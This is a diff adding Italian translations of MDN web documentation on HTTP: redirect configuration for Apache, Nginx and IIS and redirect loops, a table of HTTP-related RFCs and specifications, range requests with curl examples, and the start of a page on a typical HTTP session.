+<h3 id="Ordine_di_precedenza">Ordine di precedenza</h3>
+
+<p>Con tre modi per far causare i rendirizzamenti, molti modi possono essere usati allo stesso tempo. Ma quale è applicato per primo?</p>
+
+<ol>
+ <li>I reindirizzamenti HTTP sono sempre eseguiti per primi — esisitono quando non c'è nemmeno una pagina trasmessa.</li>
+ <li>I reindirizzamenti  HTML ({{HTMLElement("meta")}}) vengono eseguiti se non c'era nessun reindirizzamento HTTP.</li>
+ <li>I reindirizzamenti con JavaScript sono eseguiti per ultimi, e solo se JavaScript è abilitato.</li>
+</ol>
+
+<p>Quando possibile, usare reindirizzamenti HTTP e non aggiungere l'elemento di reindirizzamento {{HTMLElement("meta")}}. Se qualcuno cambia il reindirizzamento HTTP ma dimentica di cambiare il reindirizzamento HTML, il reindirizzamento non sarà più identico, il che potrebbe causare un loop infinito o altri incubi.</p>
+
+<h2 id="Casi_duso">Casi d'uso</h2>
+
+<p>Ci sono molti casi d'uso per quanto riguarda i reindirizzamenti, ma le prestazioni sono intaccate da ogni reindirizzamento, il loro uso dovrebbe essere tenuto al minimo.</p>
+
+<h3 id="Aliasing_dei_domini">Aliasing dei domini</h3>
+
+<p>Idealmente c'è un posto, e di conseguenza un URL, per ogni risorsa. Ma ci sono ragioni per nomi alternativi per una risorsa:</p>
+
+<dl>
+ <dt>Espandendo la portata del tuo sito</dt>
+ <dd>Un esempio comune è quando un sito risiede a <code>www.example.com</code>, ma accedendoci tramite <code>example.com</code> dovrebbe funzionare lo stesso. I reindirizzamenti da <code>example.com</code> a <code>www.example.com</code> sono preimpostati. Potresti anche reindirizzare da sinonimi comuni a frequenti refusi del tuo dominio.</dd>
+ <dt>Spostarsi ad un nuovo dominio</dt>
+ <dd>Per esempio, la tua compagnia è stata rinominata, ma vuoi che i link o i bookmark esistenti siano ancora in grado di trovarti sotto il tuo nuovo nome.</dd>
+ <dt>Forzando gli <a href="/en-US/docs/Glossary/https">HTTPS</a></dt>
+ <dd>Richieste alla versione <code>http://</code> del tuo sito, ti reindirizzeranno alla versione <code>https://</code> di esso.</dd>
+</dl>
+
+<h3 id="Tenendo_link_in_vita">Tenendo link in vita</h3>
+
+<p>Quando i siti web vengono ristrutturati, gli URL cambiano. Anche se si aggiornano i link del sito facendoli combaciare con quelli dei nuovi URL, non si ha controllo sugli URL usati da risorse esterne.</p>
+
+<p>Non si vogliono rompere questi link, visto che portano utenti preziosi e aiutano il SEO, quindi si impostano i reindirizzamenti dai vecchi URL a quelli nuovi..</p>
+
+<div class="note">
+<p>Questa tenica funziona con i link interni alla pagina, ma si avvisa di non avere reindirizzamenti interni. Un reindirizzamento ha un costo sensibile a livello di prestazioni (visto che avviene una richiesta HTTP). Se si riesce a evitarlo correggiendo i link interni, sarebbe meglio correggere quei link.</p>
+</div>
+
+<h3 id="Risposte_temporanee_a_richieste_non_sicure">Risposte temporanee a richieste non sicure</h3>
+
+<p>Le richeste {{Glossary("safe", "Unsafe")}} modificano lo stato del server e l'utente non dovrebbe reinviarle accidentalmente.</p>
+
+<p>Di solito, non si vuole che gli utenti rimandino le richieste {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} o {{HTTPMethod("DELETE")}}. Se si fornisce la risposta come il risultato di questa richiesta, una semplice pressione del pulsante di ricarica rimanderà la richiesta (possibilmente dopo un messaggio di conferma).</p>
+
+<p>In questo caso il server potrà rimandare indietro una riposta {{HTTPStatus("303")}} (Vedi altro) per un URL contenente le informazioni corrette. Se il pulsante di ricarca viene premuto, solo quella pagina verrà rimostrata, senza rimandare le richieste non sicure.</p>
+
+<h3 id="Risposte_temporanee_a_richieste_lunghe">Risposte temporanee a richieste lunghe</h3>
+
+<p>Alcune richieste potrebbero necessitare di più tempo sul server, per esempio le richieste {{HTTPHeader("DELETE")}} che sono programmate per essere processate in seguito. In questo caso, la risposta sarà un reindirizzamento {{HTTPStatus("303")}} (Vedi altro) che collegherà una pagina indicante che l'azione è stata programmata, ed eventualmente informerà del suo progresso, o permetterà di cancellarla.</p>
+
+<h2 id="Configurando_reindirizzamenti_in_server_comuni">Configurando reindirizzamenti in server comuni</h2>
+
+<h3 id="Apache">Apache</h3>
+
+<p>I reindirizzamenti possono essere impostati sia che nel file di config del server che nell'<code>.htaccess</code> di ogni cartella.</p>
+
+<p>Il modulo <code><a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a></code> ha direttive di <code>Redirect</code> e <code>RedirectMatch</code> che impostano i reindirizzamenti {{HTTPStatus("302")}} di default:</p>
+
+<pre class="notranslate">&lt;VirtualHost *:443&gt;
+	ServerName example.com
+	Redirect / https://www.example.com
+&lt;/VirtualHost&gt;
+</pre>
+
+<p>L'URL <code>https://example.com/</code> verrà reindirizzato a <code>https://www.example.com/</code>, come ogni file o cartella all'interno di esso (<code>https://example.com/some-page</code> verrà reindirizzato a <code>https://www.example.com/some-page</code>)</p>
+
+<p><code>RedirectMatch</code> non fa lo stesso, ma prende un {{glossary("regular expression")}} per definire una collezione degli URL interessati:</p>
+
+<pre class="notranslate">RedirectMatch ^/images/(.*)$ https://images.example.com/$1</pre>
+
+<p>Tutti i documenti nella cartella <code>images/</code> verranno reindirizzati a un dominio differente.</p>
+
+<p>Se non si vuole un reindirizzamento temporaneo, un parametro extra (o il codice di stato HTTP da usare o la <code>permanent</code> keyword) possono essere usati per impostare un reindirizzamento differente:</p>
+
+<pre class="notranslate">Redirect permanent / https://www.example.com
+# …acts the same as:
+Redirect 301 / https://www.example.com
+</pre>
+
+<p>Anche il modulo <code><a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a></code> può creare reindirizzamenti. E' più flessibile, ma al contempo un po' più complesso.</p>
+
+<h3 id="Nginx">Nginx</h3>
+
+<p>In Nginx, viene creato uno specifico blocco del server per il contenuto che si vuole reindirizzare:</p>
+
+<pre class="notranslate">server {
+	listen 80;
+	server_name example.com;
+	return 301 $scheme://www.example.com$request_uri;
+}</pre>
+
+<p>Per applicare un reindirizzamento ad una cartella o solo ad alcune pagine, usare la direttiva <code>rewrite</code>:</p>
+
+<pre class="notranslate">rewrite ^/images/(.*)$ https://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ https://images.example.com/$1 permanent;
+</pre>
+
+<h3 id="IIS">IIS</h3>
+
+<p>In IIS, vengono usate gli elementi <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect">&lt;httpRedirect&gt;</a></code> per configurare i reindirizzamenti.</p>
+
+<h2 id="Loop_di_reindirizzamenti">Loop di reindirizzamenti</h2>
+
+<p>I loop di reindirizzamenti succedono quando dei reindirizzamenti aggiuntivi seguono quello che è stato appena seguito. In altre parole, si crea un loop che non finirà mai e in cui nessuna pagina verrà mai trovata.</p>
+
+<p>La maggior parte delle volte, questo è un problema lato server, e se il server non riesce a rilevarlo, manderà indietro un {{HTTPStatus("500")}} <code>Internal Server Error</code>. Se si incontra un errore del genere subito dopo aver modificato la configurazione di un server, questo e molto probabile sia un loop di reindirizzamenti.</p>
+
+<p>Qualche volta, il server non lo rileverà: un loop di reindirizzamenti può concernere diversi server, senza che nessuno di essi abbia  il quadro completo della situazione. In questo caso, i browser lo rileveranno e manderanno a schermo un messaggio di errore. Firefox manda:</p>
+
+<blockquote>
+<p class="bz_comment_text">Firefox has detected that the server is redirecting the request for this address in a way that will never complete</p>
+
+<p class="bz_comment_text">(Firefox ha rilevato che il server sta reindirizzando la richiesta per questo indirizzo in un modo che non si completerà mai)</p>
+</blockquote>
+
+<p>…mentre Chrome manda:</p>
+
+<blockquote>
+<p>This Webpage has a redirect loop</p>
+
+<p>(Questa pagina web ha un loop di reindirizzamenti)</p>
+</blockquote>
+
+<p>In entrambi i casi l'utente non potrà fare molto (a meno che una corruzione di qualche tipo non stia accadendo dal loro lato, come un'incompatiblità della cache o dei cookies).</p>
+
+<p>E' importante evitare loop di reindirizzamenti, visto che romperebbero completamente quello che l'utente sperimentrà.</p>
diff --git a/files/it/web/http/resources_and_specifications/index.html b/files/it/web/http/resources_and_specifications/index.html
new file mode 100644
index 0000000000..66e7ca5197
--- /dev/null
+++ b/files/it/web/http/resources_and_specifications/index.html
@@ -0,0 +1,267 @@
+---
+title: HTTP Risorse e Specifiche
+slug: Web/HTTP/Resources_and_specifications
+translation_of: Web/HTTP/Resources_and_specifications
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP è stato fissato agli inizi del 1990. Progettato con un'estensibilità (in mind), ha visto numerose aggiunte negli anni; questo portò la sua specificazione a essere sparsa attraverso numerosi documenti di specifica(nel mezzo della sperimentazione di estensioni abbandonate). Questa pagina elenca risorse rilevanti sul HTTP.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Titolo</th>
+   <th scope="col">Stato</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{rfc(7230)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Sintassi e Instradamento dei messaggi</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7231)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantica e Contenuti</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7232)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Richieste condizionate</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7233)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Intervallo di Richieste</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7234)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5861)}}</td>
+   <td>HTTP Estensioni di controllo della cache per contenuti obsoleti</td>
+   <td>Informativo</td>
+  </tr>
+  <tr>
+   <td>{{rfc(8246)}}</td>
+   <td>HTTPost Risposte immutabili</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7235)}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Autenticazione</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6265)}}</td>
+   <td>HTTP Meccanismo di gestione statale<br>
+    Definisce i cookie</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td>
+   <td>Prefissi dei cookie</td>
+   <td>IETF Proposto</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td>
+   <td>Cookie di uno stesso sito</td>
+   <td>IETF Proposto</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td>
+   <td>Disapprova la modifica dei cookie 'sicuri' di origine non sicura</td>
+   <td>IETF Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2145)}}</td>
+   <td>Uso e interpretazione dei numeri di versione HTTP</td>
+   <td>Informativo</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6585)}}</td>
+   <td>Codici di stato HTTP aggiuntivi</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7538)}}</td>
+   <td>Il codice di stato del protocollo di trasferimento ipertestuale 308 (reindirizzamento permanente)</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7725)}}</td>
+   <td>Un codice di stato HTTP per segnalare gli ostacoli legali</td>
+   <td>Sul binario standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2397)}}</td>
+   <td>Lo schema URL "data"</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(3986)}}</td>
+   <td>Uniform Resource Identifier (URI): Sintassi Generica</td>
+   <td>Internet Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5988)}}</td>
+   <td>Web Linking<br>
+    <em>Definisce il {{HTTPHeader("Link")}} dell'intestazione</em></td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Specifiche sperimentali</a></td>
+   <td>Hypertext Transfer Protocol (HTTP) Intestazine Keep-Alive</td>
+   <td>Informativo (Scaduta)</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td>
+   <td>HTTP Sugerimenti del Client</td>
+   <td>IETF Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7578)}}</td>
+   <td>Valori restituiti dai moduli: multipart/form-data</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6266)}}</td>
+   <td>Utilizzo del campo Content-Disposition Header nel Hypertext Transfer Protocol (HTTP)</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2183)}}</td>
+   <td>Comunicare le informazioni di presentazione nei messaggi Internet: Il campo di intestazione Content-Disposition<br>
+    Solo un sottoinsieme di sintassi del<em> {{HTTPHeader("Content-Disposition")}}  header può essere utilizzato nel contesto dei messaggi HTTP.</em></td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7239)}}</td>
+   <td>Estensione HTTP inoltrata</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6455)}}</td>
+   <td>Il protocollo Websocket</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5246)}}</td>
+   <td>Il Transport Layer Security (TLS) Protocol Version 1.2<br>
+    Questa specifica è stata modificata dalle RFC successive, ma queste modifiche non hanno effetto sul protocollo HTTP.</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(8446)}}</td>
+   <td>Il Transport Layer Security (TLS) Protocol Version 1.3<br>
+    <em>Sostituisce il TLS 1.2.</em></td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2817)}}</td>
+   <td>Aggiornamento del TLS all'interno HTTP/1.1</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7540)}}</td>
+   <td>Hypertext Transfer Protocol Versione 2 (HTTP/2)</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7541)}}</td>
+   <td>HPACK: Compressione dell'intestazione per HTTP/2</td>
+   <td>Sul Binario Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7838)}}</td>
+   <td>HTTP Servizio Alternativo</td>
+   <td>Sul Binario Standard</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7301)}}</td>
+   <td>Transport Layer Security (TLS)  Estensione della negoziazione del protocollo Application-Layer<br>
+    Usato per negoziare HTTP/2 durante il trasporto per salvare una richiesta extra/risposta andata e ritorno.</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6454)}}</td>
+   <td>Concetto dell'origine del web</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>Cross-Origin Resource Sharing (Utilizzo risorse di altre pagine)</td>
+   <td>{{Spec2("Fetch")}}</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7034)}}</td>
+   <td>HTTP Campo dell'intestazione Opzioni X-Frame</td>
+   <td>Informativo</td>
+  </tr>
+  <tr>
+   <td>{{rfc(6797)}}</td>
+   <td>HTTP Strict Transport Security (HSTS)</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Upgrade Insecure Requests")}}</td>
+   <td>Aggiorna le richieste insicure</td>
+   <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSP 1.0")}}</td>
+   <td>Politica di sicurezza dei contenuti 1.0<br>
+    <em>CSP 1.1 e CSP 3.0 non estende lo standard HTTP</em></td>
+   <td>{{Spec2("CSP 1.0")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Documenti Microsoft</a></td>
+   <td>Specificare le modalità del documento legale*<br>
+    Definisce X-UA-Compatible</td>
+   <td>Note</td>
+  </tr>
+  <tr>
+   <td>{{rfc(5689)}}</td>
+   <td>HTTP Estensioni per Web Distributed Authoring e Versioning (Webdav)<br>
+    Queste estensioni del Web, così come Carddav e Caldav, sono fuori portata per HTTP sul Web. Le API moderne per l'applicazione sono definite utilizzando il modello Restful al giorno d'oggi.</td>
+   <td>Standard              Proposto</td>
+  </tr>
+  <tr>
+   <td>{{rfc(2324)}}</td>
+   <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td>
+   <td>Specifiche scherzo del primo d'aprile</td>
+  </tr>
+  <tr>
+   <td>{{rfc(7168)}}</td>
+   <td>Il Hyper Text Coffee Pot Control Protocol per Tea Efflux Appliances (HTCPCP-TEA)</td>
+   <td>Specifiche scherzo del primo d'aprile</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG")}}</td>
+   <td>HTML<br>
+    <em>Definisce le estensioni di HTTP per gli eventi inviati dal server.</em></td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Espressioni preferite di Tracciamento</a></td>
+   <td>Intestazione DNT</td>
+   <td>
+    <p>Bozza dell'autore/ Candidato raccomandato</p>
+   </td>
+  </tr>
+  <tr>
+   <td> <a href="http://wicg.github.io/reporting/">Reporting API</a></td>
+   <td><code>Report-To</code> header</td>
+   <td>Proposta</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Specifica abbozzata</a></td>
+   <td>Expect-CT Estensione per HTTP</td>
+   <td>IETF Proposta</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/it/web/http/richieste_range/index.html b/files/it/web/http/richieste_range/index.html
new file mode 100644
index 0000000000..e6bbe43d19
--- /dev/null
+++ b/files/it/web/http/richieste_range/index.html
@@ -0,0 +1,115 @@
+---
+title: Richieste HTTP range
+slug: Web/HTTP/Richieste_range
+translation_of: Web/HTTP/Range_requests
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Le richieste HTTP range permettono di mandare una sola porzione di un messaggio HTTP da un server a un client invece del messaggio intero. Le richieste parziali sono utili per file di grandi dimensioni o per mettere un download in pausa e riprenderlo successivamente.</p>
+
+<h2 id="Controllare_se_un_server_supporta_richieste_parziali">Controllare se un server supporta richieste parziali</h2>
+
+<p>Se l'header {{HTTPHeader("Accept-Ranges")}} è presente nelle risposte HTTP (e il suo valore non è "<code>none</code>"), il server supporta richieste HTTP range. E' possibile controllarlo creando una richiesta {{HTTPMethod("HEAD")}} con cURL, ad esempio.</p>
+
+<pre>curl -I http://i.imgur.com/z4d4kWk.jpg
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: bytes
+Content-Length: 146515
+</pre>
+
+<p>In questa risposta, <code>Accept-Ranges: bytes</code> indica che i bytes possono essere usati come unità base per definire un range (intervallo). Qui anche l'header {{HTTPHeader("Content-Length")}} è utile perché indica la dimensione dell'intero file contenente l'immagine.</p>
+
+<p>Se il sito omette l'header <code>Accept-Ranges</code>, probabilmente non supporta richieste parziali. Alcuni siti mandano esplicitamente "<code>none</code>" come valore, indicando che non supportano la funzionalità. In questo caso, i download managers di alcune app disabiliteranno i loro pulsanti di pausa.</p>
+
+<pre>curl -I https://www.youtube.com/watch?v=EwTZ2xpQwpA
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: none
+</pre>
+
+<h2 id="Richiedere_un_range_specifico">Richiedere un range specifico</h2>
+
+<p>Se il server supporta richieste range, è possibile effettuare questa richiesta tramite l'header {{HTTPHeader("Range")}}, che indica la parte o le parti di un documento con le quali il server dovrà rispondere.</p>
+
+<h3 id="Range_formato_da_una_singola_parte">Range formato da una singola parte</h3>
+
+<p>Possiamo richiedere un singolo range da una risorsa. Possiamo fare una richiesta di prova tramite cURL. L'opzione "<code>-H</code>" appenderà una riga all'header alla richiesta, in questo caso l'header <code>Range</code> che richiede i primi 1024 bytes.</p>
+
+<pre>curl http://i.imgur.com/z4d4kWk.jpg -i -H "Range: bytes=0-1023"</pre>
+
+<p>La richiesta effettuata è la seguente:</p>
+
+<pre>GET /z4d4kWk.jpg HTTP/1.1
+Host: i.imgur.com
+Range: bytes=0-1023</pre>
+
+<p>Il server risponde con lo stato {{HTTPStatus("206")}} <code>Partial Content</code>:</p>
+
+<pre>HTTP/1.1 206 Partial Content
+Content-Range: bytes 0-1023/146515
+Content-Length: 1024
+...
+(binary content)
+</pre>
+
+<p>L'header {{HTTPHeader("Content-Length")}} ora indica la dimensione dell'intervallo richiesto (non la dimensione totale dell'immagine). L'header {{HTTPHeader("Content-Range")}} nella risposta indica la posizione del messaggio parziale all'interno del file.</p>
+
+<h3 id="Range_formato_da_più_parti">Range formato da più parti</h3>
+
+<p>L'header {{HTTPHeader("Range")}} permette anche di ottenere più di un intervallo alla volta. Gli intervalli sono separati da una virgola.</p>
+
+<pre>curl http://www.example.com -i -H "Range: bytes=0-50, 100-150"</pre>
+
+<p>Il server risponde con lo stato {{HTTPStatus("206")}} <code>Partial Content</code> e l'header {{HTTPHeader("Content-Type")}}<code>: multipart/byteranges; boundary=3d6b6a416f9b5</code>, indicando che un range multiparte segue. Ogni parte contiene il proprio campo <code>Content-Type</code> and <code>Content-Range</code>.</p>
+
+<pre>HTTP/1.1 206 Partial Content
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 282
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 0-50/1270
+
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;Example Do
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-150/1270
+
+eta http-equiv="Content-type" content="text/html; c
+--3d6b6a416f9b5--</pre>
+
+<h3 id="Richieste_di_range_condizionali">Richieste di range condizionali</h3>
+
+<p>Quando la richiesta è in pausa e viene successivamente ripresa, è necessario garantire che la risorsa remota non sia stata modificata da quando l'ultimo frammento è stato ricevuto.</p>
+
+<p>L'header della richiesta HTTP {{HTTPHeader("If-Range")}} rende una richiesta range condizionale: se la condizione è verificata, la richiesta verrà effettuata e il server restituirà lo stato {{HTTPStatus("206")}} <code>Partial Content</code> con il corpo appropriato. Se la condizione non è verificata, il server restituirà l'intera risorsa con status {{HTTPStatus("200")}} <code>OK</code>. Questo header può essere usato in combinazione con un validatore {{HTTPHeader("Last-Modified")}} oppure un {{HTTPHeader("ETag")}}, ma non entrambi.</p>
+
+<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT </pre>
+
+<h2 id="Risposte_alle_richieste_parziali">Risposte alle richieste parziali</h2>
+
+<p>Quando si lavora con richieste range, esistono tre stati rilevanti:</p>
+
+<ul>
+ <li>In caso di richiesta riuscita, il server restituisce lo stato {{HTTPStatus("206")}} <code>Partial Content</code>.</li>
+ <li>In caso di una richiesta out of bounds (i valori di range si sovrappongono), il server risponde con lo stato {{HTTPStatus("416")}} <code>Requested Range Not Satisfiable</code>.</li>
+ <li>Se la richiesta range non è supportata verrà restituito lo stato {{HTTPStatus("200")}} <code>OK</code>.</li>
+</ul>
+
+<h2 id="Confronto_con_Transfer-Encoding_frammentato">Confronto con <code>Transfer-Encoding</code> frammentato</h2>
+
+<p>L'header {{HTTPHeader("Transfer-Encoding")}} permette la codifica a frammenti, che è utile quando grandi quantità di dati sono mandati al client e la dimensione totale della risposta non è conosciuta fino a quando la richiesta è stata processata. Il server manda dati al client immediatamente senza fare buffering della risposta o determinare la lunghezza esatta, migliorando la latenza. Richieste range e chunking sono compatibili e possono essere usate contemporaneamente.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Codici di stato: {{HTTPStatus("200")}}, {{HTTPStatus("206")}}, {{HTTPStatus("416")}}.</li>
+ <li>Headers: {{HTTPHeader("Accept-Ranges")}}, {{HTTPHeader("Range")}}, {{HTTPHeader("Content-Range")}}, {{HTTPHeader("If-Range")}}, {{HTTPHeader("Transfer-Encoding")}}.</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/06/03/download-resumption-in-internet-explorer/">Riprendere i download in Internet Explorer</a></li>
+</ul>
diff --git a/files/it/web/http/sessione/index.html b/files/it/web/http/sessione/index.html
new file mode 100644
index 0000000000..e414eb9d19
--- /dev/null
+++ b/files/it/web/http/sessione/index.html
@@ -0,0 +1,171 @@
+---
+title: Una tipica sessione HTTP
+slug: Web/HTTP/Sessione
+translation_of: Web/HTTP/Session
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Nei protocolli client-server come l’HTTP, la sessione è composta da tre fasi:</p>
+
+<ol>
+ <li>Il cliente stabilisce una connessione TCP (o l’appropriata connessione nel caso non sia TCP).</li>
+ <li>Il cliente manda la sua richiesta e aspetta per la risposta.</li>
+ <li>Il server processa la richiesta, mandando poi la sua risposta, con al suo interno il codice di stato e un dato appropriato.</li>
+</ol>
+
+<p>Da quando è uscito HTTP/1.1, la connessione non si chiude più dopo la terza fase, e il cliente può fare un altra richiesta: questo significa che la seconda e terza fase possono essere usate molte volte.</p>
+
+<h2 id="Stabilire_una_connessione"><strong>Stabilire una connessione</strong></h2>
+
+<p>Nei protocolli client-server è il client che stabilisce la connessione. Aprire una connessione in HTTP significa avviare una connessione nel livello di trasporto sottostante, che di solito è il TCP.</p>
+
+<p>Con TCP la porta di default, per un server HTTP su un computer, è la porta 80. Possono essere usate anche altre porte, come la 8000 o la 8080. L’URL della pagina da raggiungere contiene sia il nome del dominio che la numero di porta, anche se quest’ultimo può essere omesso se è 80. Vedi <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">identificare le risorse sul web</a> per maggiori dettagli.</p>
+
+<div class="note"><strong>Nota:</strong> Il modello client-server non permette al server di inviare dati al client senza una specifica richiesta da parte di esso. Per aggirare questo problema, gli sviluppatori web usano varie tecniche: pingare il server periodicamente con <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHTTPRequest">XMLHTTPRequest</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch">Fetch</a> APIs, usando il <a href="https://developer.mozilla.org/en/WebSockets">WebSockets API</a>, o protocolli simili.</div>
+
+<h2 id="Mandare_una_client_request">Mandare una client request</h2>
+
+<p>Una volta che la connessione si è stabilita, il programma utente può mandare la richiesta (un programma utente è tipicamente un web browser, ma può essere tante cose, per esempio un motore di ricerca). Una client request consiste nelle direttive testuali, separate dal CRLF (carriage return line feed), divise in 3 blocchi:</p>
+
+<ol>
+ <li>La prima riga contiene un request method seguito dai suoi parametri:
+  <ul>
+   <li>il percorso di un documento, quindi l’URL assoluto senza protocollo o dominio.</li>
+   <li>Versione del protocollo HTTP.</li>
+  </ul>
+ </li>
+ <li>righe susseguenti rappresentano un header HTTP, che danno al server le informazioni su quale tipo di dato è più appropriato (ad esempio  che liguaggio o tipo di MIME) o altri dati che alterano il suo comportamento (ad esempio non mandare una risposta anche se già   memorizzata nella cache). Gli header HTTP formano un blocco che termina con una riga vuota.</li>
+ <li>L’ultimo blocco è facoltativo, e contiene dati superflui usati principalmente dal POST method.</li>
+</ol>
+
+<h3 id="Esempi">Esempi:</h3>
+
+<p>recuperare la pagina radice di <a href="https://wiki.developer.mozilla.org/">developer.mozilla.org</a> , e dire al server che il programma utente preferirebbe, se possibile, avere la pagina in lingua francese.</p>
+
+<pre class="notranslate">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+</pre>
+
+<p>Si osservi che l’ultima riga è vuota, questo separa il blocco data da quello header. Dato che non c’è nessuna content-lenght nell’ header HTTP, questo blocco di dati si presenta vuoto, marcando la fine degli headers, permettendo così al server di processare la richiesta dal momento in cui riceve quella riga vuota.</p>
+
+<p>Per esempio, mandando il risultato di un form:</p>
+
+<pre class="notranslate">POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&amp;request=Send%20me%20one%20of%20your%20catalogue
+</pre>
+
+<h3 id="Metodi_di_richiesta">Metodi di richiesta</h3>
+
+<p>L’HTTP definisce un set di <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Methods">richieste metodo</a> che indicano l’azione desiderata da fare a seconda della risorsa. Anche se possono essere nomi, queste richieste sono alcune volte riferite come dei verbi HTTP. La richieste più comuni sono GET e POST:</p>
+
+<ul>
+ <li>il metodo GET richiede un dato rappresentante la risorsa specificata. Richieste fatte usando il GET  può solo recuperare dati.</li>
+ <li>Il metodo POST invia dati al server che potrebbe cambiare il suo stato. Questo è il metodo spesso usati per i <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/HTML/Forms">Form HTML</a>.</li>
+</ul>
+
+<h2 id="Struttura_di_una_risposta_server"><strong>Struttura di una risposta server</strong></h2>
+
+<p>Dopo che l’agente connesso ha inviato la richiesta, il web server lo processa, e alla fine restituisce una risposta. Analogamente alla richiesta client, una risposta server è formata da direttive, separate dal CRLF, sebbene divise in tre blocchi:</p>
+
+<ol>
